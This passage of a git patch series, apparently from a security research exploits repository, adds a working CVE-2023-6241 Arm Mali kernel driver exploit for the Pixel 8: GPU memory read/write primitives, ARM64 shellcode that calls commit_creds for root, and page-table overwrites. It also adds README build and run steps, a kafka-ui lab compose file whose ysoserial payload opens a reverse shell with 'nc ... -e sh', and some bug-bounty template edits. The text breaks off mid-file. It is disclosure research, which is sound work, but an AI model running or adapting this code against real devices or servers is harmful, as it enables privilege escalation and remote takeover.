KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE 57 +#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE 58 +#define KBASE_GPUPROP_RAW_THREAD_FEATURES 59 +#define KBASE_GPUPROP_RAW_COHERENCY_MODE 60 + +#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS 61 +#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS 62 +#define KBASE_GPUPROP_COHERENCY_COHERENCY 63 +#define KBASE_GPUPROP_COHERENCY_GROUP_0 64 +#define KBASE_GPUPROP_COHERENCY_GROUP_1 65 +#define KBASE_GPUPROP_COHERENCY_GROUP_2 66 +#define KBASE_GPUPROP_COHERENCY_GROUP_3 67 +#define KBASE_GPUPROP_COHERENCY_GROUP_4 68 +#define KBASE_GPUPROP_COHERENCY_GROUP_5 69 +#define KBASE_GPUPROP_COHERENCY_GROUP_6 70 +#define KBASE_GPUPROP_COHERENCY_GROUP_7 71 +#define KBASE_GPUPROP_COHERENCY_GROUP_8 72 +#define KBASE_GPUPROP_COHERENCY_GROUP_9 73 +#define KBASE_GPUPROP_COHERENCY_GROUP_10 74 +#define KBASE_GPUPROP_COHERENCY_GROUP_11 75 +#define KBASE_GPUPROP_COHERENCY_GROUP_12 76 +#define KBASE_GPUPROP_COHERENCY_GROUP_13 77 +#define KBASE_GPUPROP_COHERENCY_GROUP_14 78 +#define KBASE_GPUPROP_COHERENCY_GROUP_15 79 + +#define KBASE_GPUPROP_TEXTURE_FEATURES_3 80 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3 81 + +#define KBASE_GPUPROP_NUM_EXEC_ENGINES 82 + +#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC 83 +#define KBASE_GPUPROP_TLS_ALLOC 84 +#define KBASE_GPUPROP_RAW_GPU_FEATURES 85 +#ifdef __cpluscplus +} +#endif + +#endif /* _UAPI_KBASE_IOCTL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mem_read_write.c b/SecurityExploits/Android/Mali/CVE_2023_6241/mem_read_write.c new file mode 100644 index 0000000..1774f0e --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mem_read_write.c @@ -0,0 +1,265 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" + +#include "mem_read_write.h" +#include "mempool_utils.h" +#include "firmware_offsets.h" + +#define ADRP_INIT_INDEX 0 + +#define ADD_INIT_INDEX 1 + +#define ADRP_COMMIT_INDEX 2 + +#define ADD_COMMIT_INDEX 3 + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22); + int prot = PROT_READ; + if (!read_only) { + alloc.in.flags |= BASE_MEM_PROT_GPU_WR; + prot |= PROT_WRITE; + } + alloc.in.va_pages = va_pages; + alloc.in.commit_pages = commit_pages; + mem_alloc(mali_fd, &alloc); + void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + return region; +} + +static inline uint32_t lo32(uint64_t x) { + return x & 0xffffffff; +} + +static inline uint32_t hi32(uint64_t x) { + return x >> 32; +} + +static uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { + uint64_t pc_page = pc >> 12; + uint64_t label_page = label >> 12; + int64_t offset = (label_page - pc_page) << 12; + int64_t immhi_mask = 0xffffe0; + int64_t immhi = offset >> 14; + int32_t immlo = (offset >> 12) & 0x3; + uint32_t adpr = rd & 0x1f; + adpr |= (1 << 28); + adpr |= (1 << 31); //op + adpr |= immlo << 29; + adpr |= (immhi_mask & (immhi << 5)); + return adpr; +} + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit, uint32_t* root_code) { + + uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); + //Sets x0 to init_cred + root_code[ADRP_INIT_INDEX] = init_adpr; + root_code[ADD_INIT_INDEX] = add_init; + //Sets x8 to commit_creds + root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred); + root_code[ADD_COMMIT_INDEX] = add_commit; + root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xd63f0100; // blr x8 + root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xd65f03c0; // ret +} + +static uint64_t set_addr_lv3(uint64_t addr) { + uint64_t pfn = addr >> PAGE_SHIFT; + pfn &= ~ 0x1FFUL; + pfn |= 0x100UL; + return pfn << PAGE_SHIFT; +} + +static inline uint64_t compute_pt_index(uint64_t addr, int level) { + uint64_t vpfn = addr >> PAGE_SHIFT; + vpfn >>= (3 - level) * 9; + return vpfn & 0x1FF; +} + +struct rw_mem_kernel create_rw_mem(cl_context context, cl_device_id* device_id, bool is64) { + int ret = 0; + + const char* source_str64 = + "__kernel void rw_mem(__global unsigned long *va, __global unsigned long *in_out, __global unsigned long *flag) {" + "size_t idx = get_global_id(0);" + "if (flag[idx]) {" + " __global unsigned long *addr = (__global unsigned long*)(va[idx]);" + " addr[0] = in_out[idx];" + "} else {" + " __global unsigned long *addr = (__global unsigned long *)(va[idx]);" + " in_out[idx] = addr[0];" + "}" +"};"; + + const char* source_str32 = + "__kernel void rw_mem(__global unsigned long *va, __global unsigned long *in_out, __global unsigned long *flag) {" + "size_t idx = get_global_id(0);" + "if (flag[idx]) {" + " __global unsigned int *addr = (__global unsigned int*)(va[idx]);" + " addr[0] = (unsigned int)(in_out[idx]);" + "} else {" + " __global unsigned int *addr = (__global unsigned int *)(va[idx]);" + " in_out[idx] = addr[0];" + "}" +"};"; + + const char* source_str = is64 ? source_str64 : source_str32; + + size_t source_size = strlen(source_str); + + cl_mem va = clCreateBuffer(context, CL_MEM_READ_WRITE, + sizeof(uint64_t), NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "Failed to create va buffer\n"); + } + cl_mem in_out = clCreateBuffer(context, CL_MEM_READ_WRITE, + sizeof(uint64_t), NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "Failed to create in_out buffer\n"); + } + cl_mem flag = clCreateBuffer(context, CL_MEM_READ_WRITE, + sizeof(uint64_t), NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "Failed to create flag buffer\n"); + } + + cl_program program = clCreateProgramWithSource(context, 1, (const char**)(&source_str), (const size_t*)(&source_size), &ret); + ret = clBuildProgram(program, 1, device_id, NULL, NULL, NULL); + if (ret != CL_SUCCESS) { + err(1, "Failed to create program\n"); + } + + cl_kernel kernel = clCreateKernel(program, "rw_mem", &ret); + if (ret != CL_SUCCESS) { + err(1, "Failed to create kernel %d\n", ret); + } + printf("kernel success\n"); + ret = clSetKernelArg(kernel, 0, sizeof(cl_mem), (void *)&va); + ret = clSetKernelArg(kernel, 1, sizeof(cl_mem), (void *)&in_out); + ret = clSetKernelArg(kernel, 2, sizeof(cl_mem), (void *)&flag); + if (ret != CL_SUCCESS) { + err(1, "Failed to set kernel arg\n"); + } + struct rw_mem_kernel out = {0}; + out.va = va; + out.in_out = in_out; + out.flag = flag; + out.kernel = kernel; + out.program = program; + return out; +} + +void write_to(int mali_fd, uint64_t* gpu_addr, uint64_t* value, cl_command_queue command_queue, struct rw_mem_kernel* kernel) { + uint64_t write = 1; + int ret = 0; + ret = clEnqueueWriteBuffer(command_queue, kernel->va, CL_TRUE, 0, sizeof(uint64_t), gpu_addr, 0, NULL, NULL); + ret = clEnqueueWriteBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), value, 0, NULL, NULL); + ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL); + + if (ret != CL_SUCCESS) { + err(1, "Failed to write to buffer\n"); + } + + size_t global_work_size = 1; + size_t local_work_size = 1; + ret = clEnqueueNDRangeKernel(command_queue, kernel->kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); + if (ret != CL_SUCCESS) { + err(1, "Failed to enqueue kernel\n"); + } + if (clFlush(command_queue) != CL_SUCCESS) { + err(1, "Falied to flush queue in write_to\n"); + } + usleep(10000); +} + + +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, cl_command_queue command_queue, struct rw_mem_kernel* kernel32) { + uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; + uint64_t curr_overwrite_addr = 0; + for (int i = 0; i < size; i++) { + uint64_t base = reserved[i]; + uint64_t end = reserved[i] + reserved_size * 0x1000; + uint64_t start_idx = compute_pt_index(base, 3); + uint64_t end_idx = compute_pt_index(end, 3); + for (uint64_t addr = base; addr < end; addr += 0x1000) { + uint64_t overwrite_addr = set_addr_lv3(addr); + if (curr_overwrite_addr != overwrite_addr) { + LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset); + curr_overwrite_addr = overwrite_addr; + for (int code = code_size - 1; code >= 0; code--) { + uint64_t this_addr = overwrite_addr + func_offset + code * 4; + uint64_t this_code = shellcode[code]; + write_to(mali_fd, &this_addr, &this_code, command_queue, kernel32); + } + usleep(300000); + } + } + } +} + +uint64_t read_from(int mali_fd, uint64_t* gpu_addr, cl_command_queue command_queue, struct rw_mem_kernel* kernel) { + uint64_t read = 0; + int ret = 0; + ret = clEnqueueWriteBuffer(command_queue, kernel->va, CL_TRUE, 0, sizeof(uint64_t), gpu_addr, 0, NULL, NULL); + ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &read, 0, NULL, NULL); + + if (ret != CL_SUCCESS) { + err(1, "Failed to write to buffer\n"); + } + + size_t global_work_size = 1; + size_t local_work_size = 1; + ret = clEnqueueNDRangeKernel(command_queue, kernel->kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); + if (ret != CL_SUCCESS) { + err(1, "Failed to enqueue kernel\n"); + } + uint64_t out = 0; + if (clEnqueueReadBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), &out, 0, NULL, NULL) != CL_SUCCESS) { + err(1, "Failed to read result\n"); + } + if (clFlush(command_queue) != CL_SUCCESS) { + err(1, "Falied to flush queue in write_to\n"); + } + usleep(10000); + return out; +} + +void releaseKernel(struct rw_mem_kernel* kernel) { + clReleaseKernel(kernel->kernel); + clReleaseProgram(kernel->program); + clReleaseMemObject(kernel->va); + clReleaseMemObject(kernel->in_out); + clReleaseMemObject(kernel->flag); + memset(kernel, 0, sizeof(struct rw_mem_kernel)); +} + +void cleanup(int mali_fd, uint64_t pgd, cl_command_queue command_queue, struct rw_mem_kernel* kernel) { + uint64_t addr = pgd + OVERWRITE_INDEX * sizeof(uint64_t); + uint64_t invalid = 2; + write_to(mali_fd, &addr, &invalid, command_queue, kernel); +} + +int run_enforce() { + char result = '2'; + sleep(3); + int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); + read(enforce_fd, &result, 1); + close(enforce_fd); + LOG("result %d\n", result); + return result; +} diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mem_read_write.h b/SecurityExploits/Android/Mali/CVE_2023_6241/mem_read_write.h new file mode 100644 index 0000000..1906051 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mem_read_write.h @@ -0,0 +1,41 @@ +#ifndef MEM_READ_WRITE_H +#define MEM_READ_WRITE_H + +#include "CL/cl.h" +#include "mali_kbase_ioctl.h" +#include "mali_base_csf_kernel.h" +#include "mali_base_kernel.h" + +#define KERNEL_BASE 0x80000000 + +#define PAGE_SHIFT 12 + +#define OVERWRITE_INDEX 256 + +struct rw_mem_kernel { + cl_mem va; + cl_mem in_out; + cl_mem flag; + cl_kernel kernel; + cl_program program; +}; + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group); + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit, uint32_t* root_code); + +void write_to(int mali_fd, uint64_t* gpu_addr, uint64_t* value, cl_command_queue command_queue, struct rw_mem_kernel* kernel); + +uint64_t read_from(int mali_fd, uint64_t* gpu_addr, cl_command_queue command_queue, struct rw_mem_kernel* kernel); + +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, cl_command_queue command_queue, struct rw_mem_kernel* kernel32); + +void cleanup(int mali_fd, uint64_t pgd, cl_command_queue command_queue, struct rw_mem_kernel* kernel); + +struct rw_mem_kernel create_rw_mem(cl_context context, cl_device_id* device_id, bool is64); + +void releaseKernel(struct rw_mem_kernel* kernel); + +int run_enforce(); + +#endif diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mempool_utils.c b/SecurityExploits/Android/Mali/CVE_2023_6241/mempool_utils.c new file mode 100644 index 0000000..c96b25c --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mempool_utils.c @@ -0,0 +1,60 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include + +#include "mempool_utils.h" + +#define POOL_SIZE 16384 + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) { + err(1, "mem_alloc failed\n"); + } +} + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + reserved_va[i] = alloc.out.gpu_va; + } +} + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]); + if (reserved == MAP_FAILED) { + err(1, "mmap reserved failed %d\n", i); + } + reserved_va[i] = (uint64_t)reserved; + } +} + +uint64_t drain_mem_pool(int mali_fd) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = POOL_SIZE; + alloc.in.commit_pages = POOL_SIZE; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void release_mem_pool(int mali_fd, uint64_t drain) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mempool_utils.h b/SecurityExploits/Android/Mali/CVE_2023_6241/mempool_utils.h new file mode 100644 index 0000000..9aa4caa --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mempool_utils.h @@ -0,0 +1,20 @@ +#ifndef MEMPOOL_UTILS_H +#define MEMPOOL_UTILS_H + +#include +#include "mali_kbase_ioctl.h" +#include "mali_base_csf_kernel.h" +#include "mali_base_kernel.h" +#include "log_utils.h" + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc); + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va); + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va); + +uint64_t drain_mem_pool(int mali_fd); + +void release_mem_pool(int mali_fd, uint64_t drain); + +#endif From e567d3550b4426a07489e3a3b137412c6b5e783a Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Mon, 18 Mar 2024 12:46:59 +0000 Subject: [PATCH 109/140] Update link --- SecurityExploits/Android/Mali/CVE_2023_6241/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/README.md b/SecurityExploits/Android/Mali/CVE_2023_6241/README.md index 0e37f5f..be4d35f 100644 --- a/SecurityExploits/Android/Mali/CVE_2023_6241/README.md +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/README.md @@ -1,6 +1,6 @@ ## Exploit for CVE-2023-6241 -The write up can be found [here](). This is a bug in the Arm Mali kernel driver that I reported in November 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. +The write up can be found [here](https://github.blog/2024-03-18-gaining-kernel-code-execution-on-an-mte-enabled-pixel-8). This is a bug in the Arm Mali kernel driver that I reported in November 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. The exploit is tested on the Google Pixel 8 with the Novmember 2023 patch (`UD1A.231105.004`). It needs to be compiled with OpenCL and link with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26: From 17bb3f874564fefac8d86607ea291be844598bf8 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Mon, 18 Mar 2024 12:53:01 +0000 Subject: [PATCH 110/140] Apply suggestions from code review Co-authored-by: Kevin Backhouse --- SecurityExploits/Android/Mali/CVE_2023_6241/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/README.md b/SecurityExploits/Android/Mali/CVE_2023_6241/README.md index be4d35f..90752b1 100644 --- a/SecurityExploits/Android/Mali/CVE_2023_6241/README.md +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/README.md @@ -2,13 +2,13 @@ The write up can be found [here](https://github.blog/2024-03-18-gaining-kernel-code-execution-on-an-mte-enabled-pixel-8). This is a bug in the Arm Mali kernel driver that I reported in November 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. -The exploit is tested on the Google Pixel 8 with the Novmember 2023 patch (`UD1A.231105.004`). It needs to be compiled with OpenCL and link with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26: +The exploit is tested on the Google Pixel 8 with the Novmember 2023 patch (`UD1A.231105.004`). It needs to be compiled with OpenCL and linked with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26: ``` android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf ``` -The exploit needs to be linked to `libGLES_mali.so`. This can be done by setting the `LD_LIBRARY_PATH` to `/vendor/lib64/egl`. The exploit rarely fails and even if it does, it does not normally corrupt or crash the system. So in case it failed, it can be rerun. If successful, it should disable SELinux and gain root. +The exploit needs to be linked to `libGLES_mali.so`. This can be done by setting the `LD_LIBRARY_PATH` to `/vendor/lib64/egl`. The exploit rarely fails and even if it does, it does not normally corrupt or crash the system. So in case it fails, it can be rerun. If successful, it should disable SELinux and gain root. ``` shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf From 66771ebde7ea4fa5b263c5e1504eb8eb6e33c484 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Mon, 18 Mar 2024 12:54:06 +0000 Subject: [PATCH 111/140] Update SecurityExploits/Android/Mali/CVE_2023_6241/README.md Co-authored-by: Kevin Backhouse --- SecurityExploits/Android/Mali/CVE_2023_6241/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/README.md b/SecurityExploits/Android/Mali/CVE_2023_6241/README.md index 90752b1..52e34ce 100644 --- a/SecurityExploits/Android/Mali/CVE_2023_6241/README.md +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/README.md @@ -35,6 +35,6 @@ result 50 clean up ``` -When running the first time, the exploit sometimes stalled after printing the last `overwrite addr` message. If that happens (stalled for more than 10 seconds, though pausing for a few seconds is normal), then simply kill the exploit and rerun it. It should not stall the second time. +When running the first time, the exploit sometimes stalls after printing the last `overwrite addr` message. If that happens (stalled for more than 10 seconds, though pausing for a few seconds is normal), then simply kill the exploit and rerun it. It should not stall the second time. To test it with MTE enabled, follow [these instructions](https://outflux.net/blog/archives/2023/10/26/enable-mte-on-pixel-8/) to enable kernel MTE. From 10b9edadcc77960acc3fece104b2eeb4b03740bd Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 3 Jun 2024 15:15:30 +0000 Subject: [PATCH 112/140] BB sunset --- .github/ISSUE_TEMPLATE/all-for-one.yml | 7 +++++++ .github/ISSUE_TEMPLATE/bug-slayer.yml | 7 +++++++ 2 files changed, 14 insertions(+) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 45c44ee..5fb2fd2 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -6,6 +6,13 @@ body: - type: markdown attributes: value: | + # ANNOUNCEMENT + 🚨 Attention CodeQL Bug Hunters! 🚨 + + We are [sunsetting the GitHub CodeQL Bug Bounty Program.](https://github.com/github/securitylab/discussions/828) + + But fear not! You still have until June 24 to submit your final findings and potentially earn some cash 💰! Let's make these last submissions count! 🎯 + # Introduction Thank you for submitting a query to the GitHub CodeQL project! diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.yml b/.github/ISSUE_TEMPLATE/bug-slayer.yml index f08489f..e197f36 100644 --- a/.github/ISSUE_TEMPLATE/bug-slayer.yml +++ b/.github/ISSUE_TEMPLATE/bug-slayer.yml @@ -6,6 +6,13 @@ body: - type: markdown attributes: value: | + # ANNOUNCEMENT + 🚨 Attention CodeQL Bug Hunters! 🚨 + + We are [sunsetting the GitHub CodeQL Bug Bounty Program.](https://github.com/github/securitylab/discussions/828) + + But fear not! You still have until June 24 to submit your final findings and potentially earn some cash 💰! Let's make these last submissions count! 🎯 + # Introduction Thank you for your submission to the bounty program! From 23d1cfcb3b2177073b5a7c6a9a19037b8cda6abd Mon Sep 17 00:00:00 2001 From: Michael Stepankin Date: Fri, 7 Jun 2024 12:48:40 +0200 Subject: [PATCH 113/140] Add kafkaui/compose.yml --- SecurityExploits/kafkaui/compose.yml | 56 ++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 SecurityExploits/kafkaui/compose.yml diff --git a/SecurityExploits/kafkaui/compose.yml b/SecurityExploits/kafkaui/compose.yml new file mode 100644 index 0000000..e474dba --- /dev/null +++ b/SecurityExploits/kafkaui/compose.yml @@ -0,0 +1,56 @@ +version: '3' +services: + zookeeper: + image: 'confluentinc/cp-zookeeper:7.6.1' + environment: + ZOOKEEPER_CLIENT_PORT: 2181 + + kafka: + image: 'confluentinc/cp-kafka:7.6.1' + depends_on: + - zookeeper + ports: + - 9092:9092 + environment: + KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181' + KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092 + KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT + KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT + + kafka-ui: + image: provectuslabs/kafka-ui:v0.7.1 + depends_on: + - kafka + ports: + - 8091:8080 + - 5005:5005 + environment: + KAFKA_CLUSTERS_0_NAME: local + KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: 'kafka:9092' + KAFKA_CLUSTERS_0_ZOOKEEPER: 'zookeeper:2181' + DYNAMIC_CONFIG_ENABLED: 'true' + JAVA_TOOL_OPTIONS: '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' + + kafka-malicious-broker: + image: 'confluentinc/cp-kafka:7.6.1' + depends_on: + - zookeeper + ports: + - 9093:9093 + environment: + KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181' + KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://host.docker.internal:9093 + KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT + KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT + + ysoserial-stage1: + build: https://github.com/artsploit/ysoserial.git#scala1 + ports: + - 1718:1718 + entrypoint: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true" + + ysoserial-stage2: + build: https://github.com/artsploit/ysoserial.git#scala1 + ports: + - 1719:1719 + entrypoint: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh" \ No newline at end of file From 44f43f66bdd443e306d505937fef68bc5ae38c9a Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 24 Jun 2024 18:05:26 +0000 Subject: [PATCH 114/140] Delete issue templates for bug bounty --- .github/ISSUE_TEMPLATE/all-for-one.yml | 98 -------------------------- .github/ISSUE_TEMPLATE/bug-slayer.yml | 73 ------------------- 2 files changed, 171 deletions(-) delete mode 100644 .github/ISSUE_TEMPLATE/all-for-one.yml delete mode 100644 .github/ISSUE_TEMPLATE/bug-slayer.yml diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml deleted file mode 100644 index 5fb2fd2..0000000 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ /dev/null @@ -1,98 +0,0 @@ -name: All for One, One For All bounty submission -description: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties#allforone) -title: "[]: " -labels: [All For One] -body: - - type: markdown - attributes: - value: | - # ANNOUNCEMENT - 🚨 Attention CodeQL Bug Hunters! 🚨 - - We are [sunsetting the GitHub CodeQL Bug Bounty Program.](https://github.com/github/securitylab/discussions/828) - - But fear not! You still have until June 24 to submit your final findings and potentially earn some cash 💰! Let's make these last submissions count! 🎯 - - # Introduction - - Thank you for submitting a query to the GitHub CodeQL project! - - After you submit this issue, the GitHub Security Lab and CodeQL teams will triage the submission and, if it meets the Query Bounty Program requirements, we will grant you a bounty through our HackerOne program. - - Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties#allforone) - - # Questionnaire - - type: input - id: pr_url - attributes: - label: Query PR - description: Link to pull request with your CodeQL query - placeholder: | - ex. https://github.com/github/codeql/pull/nnnn - validations: - required: true - - type: dropdown - id: language - attributes: - label: Language - description: What programming language is your query written for? - options: - - Java - - Javascript - - GoLang - - Python - - Ruby - - C/C++ - - C# - validations: - required: true - - type: textarea - id: cve_ids - attributes: - label: CVE(s) ID list - description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). If the result(s) is **NOT YET** fixed **nor disclosed**, and you are still waiting for a CVE, then you can privately share your result via email to [security@github.com](mailto:security@github.com?subject=[BugBounty]%20Issue%20#000%20useful%20result) - placeholder: | - ex. - - [CVE-20nn-xxxx]() - - [CVE-20nn-yyyy]() - validations: - required: true - - type: input - id: cwe - attributes: - label: CWE - description: "[CWE](https://cwe.mitre.org/data/index.html) that best fits the vulnerability class modeled with your query" - placeholder: | - ex. CWE-502: Deserialization of Untrusted Data - validations: - required: false - - type: textarea - id: report - attributes: - label: Report - description: Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community. - placeholder: | - 1. What is the vulnerability? - 2. How does the vulnerability work? - 3. What strategy do you use in your query to find the vulnerability? - 4. How have you reduced the number of **false positives**? - 5. Other information? - validations: - required: true - - type: checkboxes - id: social - attributes: - label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). - description: We would love to have you spread the word about the good work you are doing - options: - - label: "Yes" - - label: "No" - validations: - required: true - - type: input - id: social_url - attributes: - label: Blog post link - description: If you have already blogged about your query, please provide a link. - validations: - required: false diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.yml b/.github/ISSUE_TEMPLATE/bug-slayer.yml deleted file mode 100644 index e197f36..0000000 --- a/.github/ISSUE_TEMPLATE/bug-slayer.yml +++ /dev/null @@ -1,73 +0,0 @@ -name: The Bug Slayer bounty submission -description: Submit a CodeQL query for the Bug Slayer bounty (https://securitylab.github.com/bounties) -title: "[]: " -labels: [The Bug 